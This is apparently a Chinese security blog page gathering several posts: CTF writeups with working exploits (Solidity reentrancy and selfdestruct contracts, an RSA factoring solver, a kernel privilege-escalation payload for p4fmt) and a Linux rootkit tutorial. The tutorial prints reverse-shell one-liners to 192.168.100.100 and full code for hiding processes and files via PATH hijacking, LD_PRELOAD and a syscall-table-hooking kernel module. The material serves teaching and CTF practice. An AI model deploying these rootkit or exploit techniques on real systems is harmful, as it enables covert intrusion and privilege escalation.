【攻擊手法】SROP

SROP 是 Sigreturn Oriented Programming 的縮寫

Signal

一支程式接到 signal 後

  1. kernel 會幫你把上下文 ( 各種暫存器 ) 保留到 stack 上,叫做 Signal Frame
  2. 跳回 user mode,讓 signal handler 處理
  3. signal handler 處理完會 return 回 __restore_rt,這個 function 裡面就是 mov rax, 0xf; syscall,去呼叫 sys_rt_sigreturn syscall,把上下文恢復 Signal Frame

SigReturn ROP

在做 ROP 的時候需要設定許多暫存器的值
這時候就可以用 SROP 的技巧
自己在 stack 上擺好 Signal Frame,然後呼叫 sys_rt_sigreturn syscall
就可以一次設定好所有的暫存器
缺點是需要夠大的空間塞下整個 Signal Frame

sys_rt_sigreturn syscall gadget

哪裡有 mov rax, 0xf; syscall 的 gadget 可以用

  1. libc 裡面的 __restore_rt
  2. 自己用 ROP 設定好 rax, 再接 syscall gadget

pwntools SigFrame

1
2
3
4
5
6
7
8
9
frame = SigreturnFrame()
frame.rsp = 0
frame.rax = 0
frame.rdi = 0
frame.rsi = 0
frame.rdx = 0
frame.rip = 0

rop = bytes(frame)

CTF 題目

pwnable.kr - unexploitable


  1. https://www.slideshare.net/AngelBoy1/sigreturn-ori
  2. http://weaponx.site/2017/02/28/unexploitable-Writeup-pwnable-kr/
Read more

【CTF Writeups】Security Innovation Blockchain CTF

這邊是紀錄我寫 Security Innovation Blockchain CTF 的 Writeups

Donation

這題是簽到題
就只是讓我們呼叫合約裡面的這個函式 withdrawDonationsFromTheSuckersWhoFellForIt

Lock Box

這題有個 privatepin 變數,但是 private 只是代表那個變數沒有 getter 函式,把合約的狀態抓下來就看光光啦
使用 web3.eth.getStorageAt 這個函式
父合約的變數會在子合約的變數的前面
所以 position 0 的位址是 authorizedToPlay,而 position 1 的位址就是 pin
變數在 storage 裡面怎麼擺的可以參考這篇 Understanding Ethereum Smart Contract Storage

Piggy Bank

這題直接呼叫 collectFunds 就好了
只有 PiggyBankcollectFundsonlyOwnerCharliesPiggyBankcollectFunds 沒有 onlyOwner

SI Token Sale

這題的 purchaseTokens 沒有用 SafeMath,也沒有檢查 _value 要大於 feeAmount
先轉個 0.000001 給合約,這樣 0.000001 - 0.00001 就會 underflow 變成很大的數字,就得到了超多的 token
然後再用 refundTokens 就可以半價把 token 換成 ether 錢錢了

Secure Bank

SecureBankwithdrawMembersBankwithdraw 其中的 _value 參數形態不一樣
他們會被看成是不一樣的函式,所以會有兩個不一樣的型態 withdraw 可以呼叫
MembersBankwithdraw 沒有檢查是不是本人,所以就直接把 contract creator 的錢領走

Lottery

這題要猜 entropy^entropy2 的值,猜到就可以拿走裡面的錢錢

entropy = blockhash(block.number),但是我們沒辦法知道這個 block 的 blockhash,因為這個 block 還沒算完
但這樣寫不會有錯誤,只是出來的值會是 0
既然 entropy = 0 那就只剩 entropy2,而 entropy2 是根據 msg.sender 來的
所以我們可以直接算出 _seed 的值
可以直接用 remix 寫個簡單的 smart contract 幫我們算那個值,然後利用 event 來印出那個值 ( 當 print 用 )

1
2
3
4
5
6
7
8
9
pragma solidity ^0.5.9;

contract test {
event Log(bytes32 value);

function go () public {
emit Log(keccak256(abi.encodePacked(msg.sender)));
}
}

或是直接寫一個攻擊合約,去呼叫 play 函式
記得要先把這個合約加到 authorizedToPlay,如果是 gas 不夠就調高 gas limit 吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
pragma solidity ^0.5.9;

import "./challenge.sol";

contract hack {
function exploit(address payable _target) public payable {
Lottery target = Lottery(_target);

bytes32 entropy2 = keccak256(abi.encodePacked(this));
uint256 seeds = uint256(entropy2);

target.play.value(msg.value)(seeds);

msg.sender.transfer(address(this).balance);
}
}

Trust Fund

這題是經典的 reentrant attack

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
pragma solidity ^0.5.9;

contract TrustFund {
function withdraw() external {}
}

contract hack {
address target = 0xd297ab1c9653295BdE4f6b2e32574Ac5DD994997;
uint count = 10;

function () external payable {
if (count > 0) {
count--;
TrustFund trust = TrustFund(target);
trust.withdraw();
}
}

function exploit () public {
TrustFund trust = TrustFund(target);
trust.withdraw();
}

function withdraw () public {
msg.sender.transfer(address(this).balance);
}
}

Heads or Tails

這題跟 Lottery 很像,不過用的是上一個 block 的 blockhash
那就寫個攻擊合約去呼叫 play,就可以算出一樣的 entropy
0.1 ether 能賺 0.05 ether,所以玩個 20 次就把錢全部撈出來啦
記得要寫 fallback 函式才能接錢進來呀 ( 我這裡卡超久der )

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
pragma solidity ^0.5.9;

contract HeadsOrTails {
function play(bool _heads) external payable {}
}

contract hack {
address target = 0xf8583ccB9900615e0b8304A16539EBFD96c2B0af;

function () external payable {}

function exploit () public payable {
bytes32 entropy = blockhash(block.number - 1);
bool coinFlip = (entropy[0] & '\x01') == '\x01';

HeadsOrTails heads = HeadsOrTails(target);

for (uint i = 0; i < 20; i++) {
heads.play.value(0.1 ether)(coinFlip);
}

msg.sender.transfer(address(this).balance);
}
}

Record Label

這題的題目很長,主要的邏輯就是你領錢的時候會被 royalties 抽成,manager 會抽成 80 趴的錢錢
所以如果直接呼叫 withdrawFundsAndPayRoyalties 就可以拿到 0.2 etherroyalties 抽走 0.8 ether,這題就解掉了 ( 題目合約 balance = 0 )
不過正確的解法 ( 我全都要 ) 應該是找出 _manager 的地址,然後呼叫 addRoyaltyReceiverreceiverToPercentOfProfit 這個 mapping 中 _manager 的 percent 覆寫成 0
這樣去領錢就不會被抽成了

Slot Machine

這題的題目很短,就一個 fallback 函式
但是第一行限制一次只能匯款 1 szabo ( 0.000001 ether )
目標是要讓這個合約的 balance 大於等於 5 ether,他就會把所有錢錢都給你
其中一個不透過 fallback 給錢的方法就是用 selfdestruct
selfdestruct 就是把合約清除掉,在被清除掉之前,這個合約可以把他的錢錢匯款給一個帳戶,而這個匯款的動作不會經過 fallback 函式
寫一個攻擊合約,並給他 5 ether,讓他自我毀滅,並在毀滅之前把 5 ether 匯款給題目合約

1
2
3
4
5
6
7
pragma solidity ^0.5.9;

contract hack {
function exploit () public payable {
selfdestruct(address(0x22f616f6b95e23efa8FBBAE44BeeC05890E12A4E));
}
}

  1. https://f3real.github.io/tag/ethereum.html
  2. https://xz.aliyun.com/t/2759
Read more

【技術筆記】Linux Rootkit 隱藏程序技巧

簡報版本 : https://www.slideshare.net/ssuserd44fa2/rootkit-101-228943978


root + kit 的意思就是拿到 root 權限後可以用的工具包,大多是隱藏程序的技巧,所以 rootkit 也可以理解成隱藏程序技術的通稱,不過也有些不需要 root 的隱藏程序技術,今天會逐一介紹 linux 上 rootkit 的原理與實作

隱之呼吸壹之型 - PATH Hijack

條件

不需要 root

目標

ps 的結果中隱藏下面兩種簡單的後門

  1. bash -i >& /dev/tcp/192.168.100.100/9999 0>&1
  2. socat TCP:192.168.100.100:9999 EXEC:/bin/bash

手法

假設在 $PATH 環境變數中 /usr/local/bin/bin 前面,所以我們可以寫一個檔案在 /usr/local/bin/ps,這樣 ps 就會執行 /usr/local/bin/ps 而不是 /bin/ps,而達到 hook 程序的效果

1
2
#!/bin/bash
/bin/ps $@ | grep -Ev '192.168.100.100|socat'
  • grep -Ev 是 inverse match
  • $@ 是傳進來的參數 ( 這裡原封不動的交給 /bin/ps )

隱之呼吸貳之型 - LD_PRELOAD

條件

不需要 root

目標

ps 的結果中隱藏下面兩種簡單的後門

  1. bash -i >& /dev/tcp/192.168.100.100/9999 0>&1
  2. socat TCP:192.168.100.100:9999 EXEC:/bin/bash

要 hook 哪個函式

首先我們可以用 ltraceps 跑起來呼叫了哪些 library 的函式

1
2
3
4
5
6
7
...
fwrite(" [jfsCommit]\nhe]\n4\n0\n\nstart\ngrou"..., 13, 1, 0x7fbfcd303760) = 1
readproc(0x55e061b12f90, 0x55e0609d1540, 13, 1024) = 0x55e0609d1540
escape_str(0x7fbfcd90b090, 0x55e0609d1740, 0x20000, 0x7fff6f748044) = 4
strlen("root") = 4
fwrite("root", 4, 1, 0x7fbfcd303760) = 1
...

會發現 readproc 一直出現,查看一下 man page

1
2
3
4
5
6
7
8
NAME
readproc, freeproc - read information from next /proc/## entry

SYNOPSIS
#include <proc/readproc.h>

proc_t* readproc(PROCTAB *PT, proc_t *return_buf);
void freeproc(proc_t *p);

那我們就在 ps 的原始碼中找一下 readproc 的用法,如下

procps-3.2.8/ps/display.c >331
1
2
3
4
5
6
7
8
9
ptp = openproc(needs_for_format | needs_for_sort | needs_for_select | needs_for_threads);
if(!ptp) {
fprintf(stderr, "Error: can not access /proc.\n");
exit(1);
}
memset(&buf, '#', sizeof(proc_t));
switch(thread_flags & (TF_show_proc|TF_loose_tasks|TF_show_task)){
case TF_show_proc: // normal non-thread output
while(readproc(ptp,&buf)){}}
如何取得 ps 原始碼

ps 這個指令是來自 procps,可以從 procps.sourceforge.net 下載
另外其他基本的 shell 指令的原始碼則可以從 www.gnu.org/software/coreutils 下載

  • 基本上就是先 openproc 然後再用 readproc 一次讀一個 process entry
  • ptp 的型態是 PROCTAB*,裡面有 linked list 的結構,讓程式能找到下一個 process
  • buf 的型態是 proc_t*,包含了 process 的資訊
  • 那我們就去 hook readproc 這個函式,把想隱藏的 procss 跳過

dlsym

1
typeof(readproc) *old_readproc = dlsym(RTLD_NEXT, "readproc");
  • 這行是 LD_PRELOAD 技巧的關鍵,我們用 dlsym 這個函式來找 symbol 的位址
  • RTLD_NEXT 這個參數會找下一個 symbol 而不是第一個
  • typeof(readproc) 只是一個語法糖,代表 readproc 這個 function pointer 的型態

POC 原始碼

hook.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#define _GNU_SOURCE
#include <dlfcn.h>
#include <string.h>
#include <proc/readproc.h>

int hidden (char *target) {
char *keywords[2] = { "192.168.100.100", "socat" };
for (int i = 0; i < 2; i++) if (strstr(target, keywords[i])) return 1;
return 0;
}

proc_t* readproc (PROCTAB *PT, proc_t *return_buf) {
typeof(readproc) *old_readproc = dlsym(RTLD_NEXT, "readproc");
proc_t* ret_value = old_readproc(PT, return_buf);
while (ret_value
&& ret_value->cmdline
&& hidden(ret_value->cmdline[0])) {
ret_value = old_readproc(PT, return_buf);
}
return ret_value;
}

編譯

1
gcc -fPIC -shared -o hook.so hook.c

執行

  • 指定 LD_PRELOAD 環境變數來載入編譯好的動態連結庫,但只有該次生效
1
LD_PRELOAD=/path/to/hook.so ps aux
  • 或是編輯 ld.so.preload,寫入 hook.so 的路徑,之後每次執行都會載入,可以用 ldd 查看是否成功 preload

DEMO

隱之呼吸參之型 - Loadable Kernel Module

條件

需要 root

目標

ls 的結果中隱藏 rootkit.ko

取得 sys_call_table

首先因為我們要 hijack system call 所以要先取得 sys_call_table 的位址

方法一

  • 在 2.4 以前的內核版本,預設導出所有符號,所以可以直接用
  • 如果自己編譯內核的話,可以修改原始碼用 EXPORT_SYMBOLsys_call_table 的符號導出來
1
extern void *sys_call_table[];

方法二

kallsyms_lookup_name 這個函式也可以抓位址,但他也不一定會被導出

1
2
3
4
5
6
7
8
9
#include <linux/kallsyms.h>

static void **sys_call_table;

static int __init hook_init (void) {
sys_call_table = (void **)kallsyms_lookup_name("sys_call_table");
printk(KERN_INFO "sys_call_table = 0x%px\n", sys_call_table);
return 0;
}
How to printk a pointer ?

要用 printk 印出 pointer 可以用 %px
%p 只會印出該指標的雜湊值而不是真正的指標的值,這是為了避免洩漏內核位址

方法三

  • 下面兩個檔案路徑有可能會有 sys_call_table 的位址
  • /proc/kallsyms 是一個特殊的檔案,會在讀取時動態產生
1
2
cat /boot/System.map-$(uname -r) | grep "sys_call_table"
cat /proc/kallsyms | grep "sys_call_table"

方法四

  • 最穩的方式是自己去 kernel 裡面撈 memory
  • 想法源自於這篇,但 kernel 5.x.x 有多包了一層 do_syscall_64,需要做一些改動
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
uint8_t *get_syscalltable (void) {
int lo, hi;
asm volatile("rdmsr" : "=a" (lo), "=d" (hi) : "c" (MSR_LSTAR));
uint8_t *entry_SYSCALL_64 = (uint8_t *)(((uint64_t)hi << 32) | lo);

uint8_t *ptr;

uint8_t do_syscall_64_inst[7] = {
0x48, 0x89, 0xc7, // mov rdi, rax
0x48, 0x89, 0xe6, // mov rsi, rsp
0xe8, // call do_syscall_64
};
ptr = find(entry_SYSCALL_64, do_syscall_64_inst, 7);
uint8_t *do_syscall_64 = (uint8_t *)(ptr + 11 + ((uint64_t)0xffffffff00000000 | *(uint32_t *)(ptr + 7)));

uint8_t sys_call_table_inst[4] = {
0x48, 0x8b, 0x04, 0xfd // mov rax, QWORD PTR [rdi*8-?]
};
ptr = find(do_syscall_64, sys_call_table_inst, 4);
uint8_t *sys_call_table = (uint8_t *)((uint64_t)0xffffffff00000000 | *(uint32_t *)(ptr + 4));

return sys_call_table;
}

要理解上面的程式碼在做什麼,我們需要知道下面兩件事

Module Specific Register 是什麼 ?
  • module specific register 是一塊跟 CPU 有關的暫存器
  • 每個 msr 都會有個 index,可以想像成一個很大的陣列
  • rdmsr, wrmsr 這組 instructions 可以對 msr 做讀寫,必須提供 index
  • kernel 一開始在初始化的時候,把 entry_SYSCALL_64 寫到 msr[MSR_LSTAR]
syscall 執行下去實際上是發生什麼事 ?
  1. 使用者呼叫 syscall
  2. 切換到 ring 0
  3. 跳去 msr[MSR_LSTAR] 這個位址也就是 entry_SYSCALL_64 這裡
  4. 呼叫 do_syscall_64
  5. regs->ax = sys_call_table[nr](regs); 這行呼叫對應的函式

解讀上面的程式碼的步驟

  1. 我們已經在 ring 0 了
  2. 直接用 rdmsrmsr[MSR_LSTAR]
  3. 直接在 entry_SYSCALL_64 的 instructions 裡面找下面這個 pattern
1
2
3
movq %rax, %rdi,
movq %rsp, %rsi
call do_syscall_64
  1. 這樣就找到 do_syscall_64
  2. 進到 do_syscall_64 後,一樣畫葫蘆,再找下面這個 pattern
1
mov rax, QWORD PTR [rdi*8-?]
  1. 最後,這個問號的值就會是 sys_call_table 的位址

sys_call_table 可以寫入

  • cr0 register 的其中一個 bit 是代表 read-only 區段可不可寫,改成 0 就通通可寫啦
  • write_cr0 這個 function 在 kernel 5.x.x 版加了檢查,不過我們直接寫 assembly 就沒問題啦
1
2
3
4
5
6
7
8
9
void writable_unlock (void) {
unsigned long val = read_cr0() & (~X86_CR0_WP);
asm volatile("mov %0,%%cr0": "+r" (val));
}

void writable_lock (void) {
unsigned long val = read_cr0() | X86_CR0_WP;
asm volatile("mov %0,%%cr0": "+r" (val));
}

要 hook 哪個 syscall

  • ps 做的事情就是去讀 /proc 底下所有檔案,基本上是 ls 的強化版,那我們這次就先做 ls 隱藏檔案
  • 一樣用 strace ls 去看他呼叫了哪些 syscall
1
2
3
4
5
6
getdents(3, /* 16 entries */, 32768)    = 512
getdents(3, /* 0 entries */, 32768) = 0
close(3)
fstat(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 1), ...}) = 0
write(1, "a\thook.c\t initramfs\t linux-5."..., 75) = 75
write(1, "attach\thook.so initramfs.cpio.g"..., 90) = 90

getdents 看起來是關鍵的 syscall,查看一下 man page

1
2
3
4
5
6
7
8
9
10
NAME
getdents, getdents64 - get directory entries

SYNOPSIS
int getdents(unsigned int fd, struct linux_dirent *dirp,
unsigned int count);
int getdents64(unsigned int fd, struct linux_dirent64 *dirp,
unsigned int count);

Note: There are no glibc wrappers for these system calls; see NOTES.
  • getdents 跑完後會把結果存到 dirp 裡面,那我們就遍歷 dirp 把要隱藏的丟掉就好了
  • kernel 4.x.x 的參數是放在 stack 傳的,但 kernel 5.x.x 多包了一層 do_syscall_64,參數傳遞變成是透過 struct pt_regs *regs 這個結構去傳
rootkit.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kallsyms.h>
#include <linux/syscalls.h>

MODULE_LICENSE("GPL");

struct linux_dirent {
unsigned long d_ino; /* Inode number */
unsigned long d_off; /* Offset to next linux_dirent */
unsigned short d_reclen; /* Length of this linux_dirent */
char d_name[]; /* Filename (null-terminated) */
};

void **sys_call_table;

int (*original_getdents) (struct pt_regs *regs);

void writable_unlock (void) {
unsigned long val = read_cr0() & (~X86_CR0_WP);
asm volatile("mov %0,%%cr0": "+r" (val));
}

void writable_lock (void) {
unsigned long val = read_cr0() | X86_CR0_WP;
asm volatile("mov %0,%%cr0": "+r" (val));
}

uint8_t *find (uint8_t *a, uint8_t *b, size_t len) {
for (uint8_t *ptr = a, i = 0; i < 500; i++, ptr++) {
if (!strncmp(ptr, b, len)) {
return ptr;
}
}
return 0;
}

uint8_t *get_syscalltable (void) {
int lo, hi;
asm volatile("rdmsr" : "=a" (lo), "=d" (hi) : "c" (MSR_LSTAR));
uint8_t *entry_SYSCALL_64 = (uint8_t *)(((uint64_t)hi << 32) | lo);

uint8_t *ptr;

uint8_t do_syscall_64_inst[7] = {
0x48, 0x89, 0xc7, // mov rdi, rax
0x48, 0x89, 0xe6, // mov rsi, rsp
0xe8, // call do_syscall_64
};
ptr = find(entry_SYSCALL_64, do_syscall_64_inst, 7);
uint8_t *do_syscall_64 = (uint8_t *)(ptr + 11 + ((uint64_t)0xffffffff00000000 | *(uint32_t *)(ptr + 7)));

uint8_t sys_call_table_inst[4] = {
0x48, 0x8b, 0x04, 0xfd // mov rax, QWORD PTR [rdi*8-?]
};
ptr = find(do_syscall_64, sys_call_table_inst, 4);
uint8_t *sys_call_table = (uint8_t *)((uint64_t)0xffffffff00000000 | *(uint32_t *)(ptr + 4));

return sys_call_table;
}

#define FILENAME "rootkit.ko"

int sys_getdents_hook(struct pt_regs *regs) {
int total = original_getdents(regs);
unsigned int fd = regs->di;
struct linux_dirent *dirent = regs->si;
unsigned int count = regs->dx;
int offset = 0;
while (offset < total) {
struct linux_dirent *ptr = (struct linux_dirent *)((uint8_t *)dirent + offset);
struct linux_dirent *next_ptr = (struct linux_dirent *)((uint8_t *)dirent + offset + ptr->d_reclen);
if (strncmp(ptr->d_name, FILENAME, strlen(FILENAME)) == 0) {
int reclen = ptr->d_reclen;
memmove(ptr, next_ptr, total - (offset + reclen));
total -= reclen;
} else {
offset += ptr->d_reclen;
}
}
return total;
}

static int rootkit_init(void) {
sys_call_table = (void **)get_syscalltable();
printk(KERN_INFO "sys_call_table = %llu\n", sys_call_table);
writable_unlock();
original_getdents = sys_call_table[__NR_getdents];
sys_call_table[__NR_getdents] = sys_getdents_hook;
return 0;
}

static void rootkit_exit(void) {
sys_call_table[__NR_getdents] = original_getdents;
writable_lock();
}

module_init(rootkit_init);
module_exit(rootkit_exit);

DEMO


1: http://fluxius.handgrep.se/2011/10/31/the-magic-of-ld_preload-for-userland-rootkits/
2: https://exploit.ph/linux-kernel-hacking/2014/10/23/rootkit-for-hiding-files/
3: https://docs-conquer-the-universe.readthedocs.io/zh_CN/latest/gnu_linux.html
4: https://www.kernel.org/doc/Documentation/printk-formats.txt
5: https://blog.trailofbits.com/2019/01/17/how-to-write-a-rootkit-without-really-trying/

Read more

【CTF Writeups】TSG CTF 2019 - OPQRX

Can you decrypt RSA? I’ll give a hint value, XOR.
ここにRSAの暗号文がありますが、XORをあげるので、代わりに平文をください。

分數 解題人數
497 10

Writeups

題目很簡單,RSA 加密,多給了 $p \oplus q$ 的值

$$
\begin{align}
&p \oplus q = x \\
&p \times q = n \\
\end{align}
$$

已知 $x, n$ 求 $p, q$

假設 $x$ 的第一個 bit 是 0,那麼 $p, q$ 的第一個 bit 只有 $(0, 0)$ 或 $(1, 1)$ 兩種可能
假設 $x$ 的第一個 bit 是 1,那麼 $p, q$ 的第一個 bit 只有 $(0, 1)$ 或 $(1, 0)$ 兩種可能

所以就直接爆搜加剪枝就過了,驚不驚喜,意不意外

Final Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#!/usr/bin/env python3
from Crypto.Util.number import *
from tqdm import tqdm

class Solver:
def __init__(self, x, n):
self.x = x
self.n = n
self.pq = [(0, 0)]

def add(self, b, p, q):
if p * q <= n and (p | (b - 1)) * (q | (b - 1)) >= n:
self.pq.append((p, q))

def solve(self):
for shift in tqdm(range(4095, -1, -1)):
b = 1 << shift
pq, self.pq = self.pq, []
for p, q in pq:
if self.x & b:
self.add(b, p | b, q)
self.add(b, p, q | b)
else:
self.add(b, p, q)
self.add(b, p | b, q | b)
return self.pq[0]

exec(open('flag.enc').read().lower())
solver = Solver(x, n)
p, q = solver.solve()
r = (p - 1) * (q - 1)
d = inverse(e, r)
m = pow(c, d, n)
print(long_to_bytes(m))

Flag

1
TSGCTF{Absolutely, X should be 'S' in 'OPQRX'.}

  1. https://furutsuki.hatenablog.com/entry/2019/05/05/163313#Crypto-497pts-10-Solves-OPQRX
Read more

【CTF Writeups】Teaser Confidence CTF Quals 2019 - p4fmt

Kernel challs are always a bit painful. No internet access, no SSH, no file copying. You’re stuck with copy pasting base64’d (sometimes static) ELFs. But what if there was another solution? We’ve created a lightweight, simple binary format for your pwning pleasure. It’s time to prove your skills.
nc p4fmt.zajebistyc.tf 30002

分數 解題人數
304 10

Writeup

題目檔案解壓縮後有三個檔案 bzImage, initramfs.cpio.gz, run.sh

bzImage 是壓縮過的 linux kernel
initramfs.cpio.gz 是臨時的檔案系統
run.sh 裡面用 qemu-system-x86_64 把 kernel 跑起來

不熟悉 linux kernel debug 可以參考 Debug Kernel

First Glance

run.sh 跑起來後就會跑 linux kernel 彈出一個 shell
ls 一下可以看到三個比較重要的檔案 init, p4fmt.ko, flag
直接嘗試 cat flag 會得到 Permission denied
因為我們拿到的使用者是 pwnflag 只有 root 有權限讀
init 裡面有一行 insmod /p4fmt.ko 加載 p4fmt.ko 這個內核模塊
看來我們的目標就是利用 p4fmt.ko 裡面的漏洞提權拿 root 權限,就可以 cat flag

前置作業

解壓 initramfs.cpio.gz

可以先用 binwalkinitramfs.cpio.gz 的檔案系統拉出來

1
2
x initramfs.cpio.gz
binwalk -e initramfs.cpio

修改 init

1
setsid cttyhack su root

修改 init 讓我們有 root 權限,這樣才看得到 p4fmt.ko 內核模塊載入後的位址,等等才方便下斷點
修改完重新打包 initramfs.cpio.gz

1
find . -print0 | cpio --null --create --format=newc | gzip --best > ../initramfs.cpio.gz

修改 run.sh

1
-gdb tcp:127.0.0.1:6666

開了 gdb server 後,就可以用 gdb 連上去 debug 了
首先先取得 p4fmt 內核模塊的位址
可以用 lsmodcat /proc/modules ( 必須有 root 權限 )

gdb
1
2
3
(gdb) target remote :6666
(gdb) add-symbol-file p4fmt.ko 0xffffffffc0288000
(gdb) b load_p4_binary # 這是 p4fmt 主要的函式等等逆向會看到
"取得 p4fmt 位址"
1
2
3
4
/ # lsmod
p4fmt 16384 0 - Live 0xffffffffc0288000 (O)
/ # cat /proc/modules
p4fmt 16384 0 - Live 0xffffffffc0288000 (O)

逆向

起手式一樣 IDA 打開 ( 好像很多人改用 ghidra 了 O_O )
但是這次的反編譯有點糟,大部分還是看組語配 gdb
這個內核模塊主要的功能就是註冊一個新的執行檔格式 ( binary format )

1
2
3
4
5
6
7
int __init p4fmt_init (void) {
_register_binfmt(&p4format, 1);
}

void __exit p4fmt_init (void) {
unregister_binfmt(&p4format);
}

p4format 是一個 linux_binfmt 的結構

1
2
3
4
5
6
7
8
struct linux_binfmt {
struct list_head lh;
struct module *module;
int (*load_binary)(struct linux_binprm *);
int (*load_shlib)(struct file *);
int (*core_dump)(struct coredump_params *cprm);
unsigned long min_coredump; /* minimal dump size */
} __randomize_layout;

其中的 load_binary 這個指標就是指向負責建立環境把程式跑起來的函式
而在這裡就是指向 load_p4_binary 這個函式 ( 一般的 ELF 執行檔是 load_elf_binary )

1
2
3
int load_p4_binary (linux_binprm *bprm) {
...
}

linux_binprm 會先讀檔案的前 128 bytes 放進 bprm->buf
因為有這個結構有 __randomize_layout,所以結構成員的順序是隨機的
這題的 bprm->buf0x48 開始 128 bytes,可見下圖

程式一開始會先檢查前兩個 bytes 是不是 P4
接著檢查第三個 byte 是不是 \x00,不是的話會噴 Unknown version
接著第四個 byte 可以是 \x00\x01\x00 的話會進簡單的路線,\x01 會進複雜的路線
接著四個 bytes 代表後面有幾個 mapping
接著八個 bytes 代表 mapping 的開頭在 buf 的 offset
接著八個 bytes 擺的是 entry point 的位址
其他的部分基本上跟 load_elf_binary 一樣

simple
1
vm_mmap(bprm->file, *(QWORD *)(bprm + 0x50), 0x1000, *(QWORD *)(bprm + 0x50) & 7, 2, 0);
complex
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
struct p4_mapping {
long load_addr;
long length;
long offset;
};

int mapping_count = *(int *)(bprm->buf + 4);
long mapping_offset = *(long *)(bprm->buf + 8);

p4_mapping *mapping = bprm->buf + mapping_offset;

for (int i = 0; i < mapping_count; i++, mapping++) {
long addr = mapping->load_addr & 0xFFFFFFFFFFFFF000;
long prot = mapping->load_addr & 7;

printk("vm_mmap(load_addr=0x%llx, length=0x%llx, offset=0x%llx, prot=%d)\n", addr, mapping->length, mapping->offset, prot);

if (mapping->load_addr & 8) {
// 這裡就是要初始化一段記憶體,類似 .bss 段
vm_mmap(0, addr, mapping->length, prot, 2, mapping->offset);
printk("clear_user(addr=0x%llx, length=0x%llx)\n", mapping->load_addr, mapping->length);
_clear_user(mapping->load_addr, mapping->length);
} else {
// 這裡是要把檔案掛上去,類似 .text 段
vm_mmap(bprm->file, addr, mapping->length, prot, 2, mapping->offset);
}
}

漏洞

mapping_count 改大可以 leak linux_binprm 其他欄位的值
_clear_user 沒有檢查,可以把 kernel 上任意位址的值清空
linux_binprm 有一個 cred 的結構,裡面存的就是 uid, gid
所以我們只要 leak 出這個 cred 的位址,然後用 _clear_user 清成 0,我們的程式就是 root 權限了 ( root 的 uid 是 0 )

嘗試

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#!/usr/bin/env python3
from pwn import *
from base64 import b64encode

context.arch = "amd64"

payload = b"P4" # magic
payload += p8(0) # version
payload += p8(1) # type
payload += p32(1) # mapping_count
payload += p64(0x18) # mapping_offset
payload += p64(0x400030) # entry

# mapping
payload += flat(
0x400000 | 7,
0x1000,
0
)

payload += asm(shellcraft.echo("test\n") + shellcraft.exit())

print(f'echo {b64encode(payload).decode()} | base64 -d > a ; chmod +x a ; ./a')

先寫個簡單的 p4 格式的執行檔測試一下我們的理解是不是對的

command
1
echo UDQAAQEAAAAYAAAAAAAAADAAQAAAAAAABwBAAAAAAAAAEAAAAAAAAAAAAAAAAAAASLgBAQEBAQEBAVBIuHVkcnULAQEBSDEEJGoBWGoBX2oFWkiJ5g8FajxYDwU= | base64 -d > a ; chmod +x a ; ./a
output
1
2
[50353.170813] vm_mmap(load_addr=0x400000, length=0x1000, offset=0x0, prot=7)
test

接下來要找 cred 的位址,因為 pwnuid 是 1000 ( = 0x3e8 )
所以我們把使用者切換成 pwn,切成 pwn 之後要在 /tmp 才可以寫檔
然後把 mapping_count 改大一點,比如 6,在他印出的位址指向的值中找 0x3e8

1
2
3
4
5
6
7
8
[50800.668734] vm_mmap(load_addr=0x400000, length=0x1000, offset=0x0, prot=7)
[50800.674080] vm_mmap(load_addr=0x10101010101b000, length=0x726475b848500101, offset=0x431480101010b75, prot=0)
[50800.674550] clear_user(addr=0x10101010101b848, length=0x726475b848500101)
[50800.675372] vm_mmap(load_addr=0x6a5f016a58016000, length=0x6a050fe689485a05, offset=0x50f583c, prot=4)
[50800.675786] vm_mmap(load_addr=0x0, length=0x0, offset=0x0, prot=0)
[50800.676003] vm_mmap(load_addr=0x0, length=0x7fffffffef99, offset=0x100000001, prot=0)
[50800.676260] vm_mmap(load_addr=0x0, length=0xffffa1c307595b40, offset=0x0, prot=0)
test

找了一找發現在第六個 vm_mmap0xffffa1c307595b40 這個位址是 cred
但是這個位址每次跑起來都不一樣,不過多跑幾次會發現,這個值會一直循環重複利用,所以只要多跑幾次就會對了

Final Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#!/usr/bin/env python3
from pwn import *
from base64 import b64encode

context.arch = "amd64"

payload = b"P4" # magic
payload += p8(0) # version
payload += p8(1) # type
payload += p32(2) # mapping_count
payload += p64(0x18) # mapping_offset
payload += p64(0x400048) # entry

leak_cred = 0xffff9855c758c0c0

# mapping
payload += flat(
0x400000 | 7,
0x1000,
0,

(leak_cred | 8) + 0x10,
0x20,
0
)

payload += asm(shellcraft.cat("/flag") + shellcraft.exit())

print(f'echo {b64encode(payload).decode()} | base64 -d > a ; chmod +x a ; ./a')

  1. https://github.com/david942j/ctf-writeups/tree/master/teaser-confidence-quals-2019/p4fmt
  2. https://devcraft.io/2019/03/19/p4fmt-confidence-ctf-2019-teaser.html
  3. https://amritabi0s.wordpress.com/2019/03/19/confidence-ctf-p4fmt-write-up/
Read more

【技術筆記】Linux 程序保護機制

RELRO (RELocation Read Only)

RELRO 說明 gcc 編譯參數
No GOT writable, link_map writable gcc -Wl,-z,norelro code.c
Partial GOT writable, link_map readonly DEFAULT
Full GOT read only, no link_map and dl_resolver pointer gcc -Wl,-z,relro,-z,now code.c

CANARY

stack overflow - gcc generate canary or not

Canary gcc 編譯參數
